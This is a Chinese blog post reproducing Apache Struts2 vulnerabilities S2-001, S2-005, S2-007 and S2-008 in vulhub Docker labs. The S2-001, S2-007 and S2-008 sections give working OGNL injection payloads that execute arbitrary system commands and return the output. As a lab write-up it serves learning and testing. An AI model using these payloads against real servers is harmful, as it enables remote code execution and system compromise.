Struts2系列漏洞复现


Struts2系列漏洞复现

S2-001

漏洞简述

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

影响版本

Struts 2.0.0 - Struts 2.0.8

靶场搭建

cd vulhub/struts2/s2-001
docker-compose up -d

测试

开始测试

image-20220504194156399

一开始长这个样子

输入代码

%{1+1}

image-20220504194301478

成功执行

image-20220504194315328

获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image-20220504194652923

出来了

构造命令语句,太长了上burpsuite

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

使用其他的命令替换上面的ls就好了

在用之前要进行url编码,选中文本Ctrl+u

image-20220504195024232

下一个

S2-005

漏洞简述

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。
S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

影响版本

Struts 2.0.0 - Struts 2.1.8.1

靶场搭建

cd vulhub/struts2/s2-005
docker-compose up -d

测试

image-20220504205347532

确实不知道怎么搞

用k8扫描一下

image-20220504210156669

确实是有,但是我不知道原理,先放着

image-20220504210215429

S2-007

漏洞简述

age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞

影响版本

Struts2.0.0 - 2.2.3

靶场搭建

cd vulhub/struts2/s2-007
docker-compose up -d

测试

首先查看界面

image-20220505103443398

在age中构造

'+(1+1)+'

image-20220505110105916

返回结果11

image-20220505110125828

抓包一下

image-20220505104905991

构造EXP

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

然后在里面用Ctrl+u进行url编码

image-20220505111144687

id改成别的东西看看

image-20220505111237064

ok结束!

S2-008

漏洞简述

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

影响版本

Struts2.0.0 - 2.2.3

靶场搭建

cd vulhub/struts2/s2-008
docker-compose up -d

测试

先看看页面

image-20220505112031695

构造payload

/devmode.action? debug=command&expression=(#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[5000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())

进行url编码

image-20220505124144467

结束!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录